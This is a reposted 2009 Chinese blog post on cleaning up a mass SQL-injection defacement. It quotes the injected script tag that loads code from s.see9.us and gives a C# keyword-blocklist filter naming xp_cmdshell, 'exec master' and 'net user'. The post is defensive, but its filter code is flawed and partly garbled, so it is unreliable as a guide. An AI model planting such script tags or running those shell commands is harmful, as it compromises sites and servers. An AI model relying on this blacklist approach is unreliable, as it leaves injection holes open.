您的位置:首页 > 编程语言 > ASP

asp,.net防注入程序及代码(s.see9.us挂马解决方法)

2009-03-27 14:12 330 查看
最近很多网站数据库被挂马,出现类似 "> </title> <script src=http://s.see9.us/s.js> </script> 的字符,现在给大家提供asp和.net的解决方法

C#防注检查代码

/// <summary>

/// 防注入字符串检查

/// </summary>

/// <param name= "str "> 待检查的字符串 </param>

/// <returns> </returns>

public static bool StringCheck(string str)

{

if (str.Trim() == " " || str == null)

{

return true;

}

else

{

Regex re = new Regex(@ "\s ");

str = re.Replace(str.Replace( "%20 ", " "), " ");

string pattern = @ "select |insert |delete from |count\(|drop table|update |truncate |asc\(|mid\(|char\(|xp_cmdshell|exec master|net localgroup administrators|:|net user| " "|\ '| or ";

if (Regex.IsMatch(str, pattern))

{

return false;

}

else

{

return true;

}

}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐